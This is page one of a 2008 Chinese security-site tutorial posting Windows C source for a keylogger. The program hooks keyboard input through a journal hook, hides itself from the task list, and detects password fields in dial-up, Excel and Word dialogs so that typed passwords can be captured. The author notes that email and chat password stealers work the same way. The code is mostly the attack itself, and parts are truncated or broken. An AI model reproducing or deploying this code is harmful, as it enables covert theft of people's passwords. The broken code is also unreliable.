通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
一个截获用户输入的编程例子
责任编辑:酷酷の鱼   更新日期:2008-1-21
 

整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。   整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。 
  为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。 
 
有兴趣的可以自己加上。 
 
#include 
#define KeyPMask 0x80000000 
#define SERVICE_PROC 1 
#define UNSERVICE_PROC 0 
#define RUN "\\GmkMon.exe" 
 
 
typedef struct tagKEYDATA{ 
char kKey; 
SHORT kShift; 
SHORT kCaps; 
SHORT kNum; 
BOOL bShift; 
BOOL bCaps; 
BOOL bNum; 
}KEYDATA,*LPKEYDATA; 
 
HHOOK hHook=NULL; 
DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD); 
 
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; 
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam); 
 
BOOL WINAPI HideProc(int mode) 

HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL"); 
if(DLLInst) 

RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) 
GetProcAddress(DLLInst,"RegisterServiceProcess"); 
if(RegisterServiceProcess) 

RegisterServiceProcess(GetCurrentProcessId(),mode); 
return TRUE; 

else 
return FALSE; 

else return FALSE; 

 
 
BOOL WINAPI IsPassWindow() 

HWND hWnd,curHwnd; 
TCHAR szTemp[MAX_PATH]; 
DWORD dwsTyle; 
 
hWnd=GetActiveWindow(); 
 
if(hWnd==NULL) return FALSE; 
curHwnd =hWnd; 
while(curHwnd!=NULL) 

hWnd=curHwnd; 
curHwnd=GetParent(hWnd); 

 
 
dwsTyle=GetWindowLong(hWnd,GWL_STYLE); 
if(dwsTyle & ES_PASSWORD) //普通密码框 
return TRUE; 
else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码 
return TRUE; 
else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU)) 
return TRUE; //WORD密码 
 
GetWindowText(hWnd,szTemp, sizeof(szTemp)); 
if(!strncmp(szTemp,"连接到",6)) //拨号网络 
return TRUE; 
 
return FALSE; 

 
 
TCHAR WINAPI GetKey(int nKey) 

KEYDATA kd; 
 
kd.kShift=GetKeyState(VK_SHIFT); 
kd.kCaps=GetKeyState(0x14); 
kd.kNum=GetKeyState(0x90); 
 
kd.bShift=(kd.kShift & KeyPMask)==KeyPMask; 
kd.bCaps=(kd.kCaps & 1)==1; 
kd.bNum=(kd.kNum & 1)==1; 
 
if(nKey>=48 && nKey if(!kd.bShift) return (kd.kKey=nKey); 
 
if(nKey>=65 && nKey { 
if(!kd.bCaps) 
if(kd.bShift) kd.kKey=nKey; 
else kd.kKey=nKey+32; 
else if (kd.bShift) kd.kKey=nKey+32; 
else kd.kKey=nKey; 
 
return kd.kKey; 

 
if(nKey>=96 && nKey if(kd.bNum) 
return (kd.kKey=(nKey-96+48)); 
 
 
if(nKey>=186 && nKey { 
switch(nKey) 

case 186: 
if(!kd.bShift) kd.kKey=’;’;else kd.kKey=’:’; 
break; 
 
case 187: 
if(!kd.bShift) kd.kKey=’=’;else kd.kKey=’+’ ; 
break; 
 
case 188: 
if (!kd.bShift) kd.kKey=’,’;else kd.kKey=’ ’ ; 
break; 
 
case 191: 
if (!kd.bShift) kd.kKey=’/’;else kd.kKey=’?’ ; 
break; 
 
case 192: 
if (!kd.bShift) kd.kKey=’`’ ; else kd.kKey=’~’ ; 
break; 
 
case 219: 
if (!kd.bShift) kd.kKey=’[’ ; else kd.kKey=’{’ ; 
break; 
 
case 220: 
if (!kd.bShift) kd.kKey=’\\’ ; else kd.kKey=’|’ ; 
break; 
 
case 221: 
if (!kd.bShift) kd.kKey=’]’ ; else kd.kKey=’}’ ; 
break; 
 
case 222: 
if (!kd.bShift) kd.kKey=’\\’; else kd.kKey=’\\’; 
break; 
 
default:kd.kKey=’n’ ;break; 

if(kd.kKey!=’n’) return kd.kKey; 

 
}  

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司01月21日发布 每日计算机病毒及木马播报
    普通文章 网络上最流行的“杀毒常识”
    普通文章 一个简单的端口扫描编程序题
    普通文章 一个截获用户输入的编程例子
    推荐文章 推荐:防火墙的分类及优缺点综述
    普通文章 Thinstall2.517 Unpackme 脱壳
    普通文章 强大的HA1过微软签名
    普通文章 巧用EasyShare突破限制实现宽带共享主义
    普通文章 做好预防 春节前后最易爆发的三类病毒
    普通文章 “VB邮件蠕虫变种EA”通过MSN发送带毒链接
    热门文章
    普通文章2007年新增电脑病毒36.3万种
    普通文章微软本月安全公告 两个紧急补丁
    普通文章损失过亿 全球十大计算机病毒排名
    普通文章Windows Vista 本月无安全补丁
    普通文章美媒:中国网络战攻防战力世界第一
    普通文章麦咖啡误报:错将合法网站当贼抓
    普通文章截获MSN Photo木马新变种“小欧”
    普通文章微软:我们的代码比赛门铁克更安全
    普通文章Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章浅谈国内的渗透评估过程
    精彩专题